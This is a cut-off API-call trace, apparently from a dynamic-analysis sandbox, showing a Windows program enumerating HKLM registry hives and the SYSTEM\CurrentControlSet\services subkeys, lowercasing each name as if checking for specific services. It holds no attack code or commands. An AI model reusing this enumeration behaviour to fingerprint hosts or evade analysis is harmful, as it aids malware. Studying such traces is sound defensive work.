[0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.488] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.488] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.488] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.489] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.489] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.489] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0184.489] RegCloseKey (hKey=0x80000002) returned 0x0 [0184.489] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0184.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.489] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.490] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.490] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.490] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0184.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.491] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.491] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.491] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.491] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.492] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0184.492] RegCloseKey (hKey=0x140) returned 0x0 [0184.492] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.492] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.492] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0184.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.493] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.493] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.493] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0184.493] RegCloseKey (hKey=0x9c) returned 0x0 [0184.493] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0184.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.494] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR 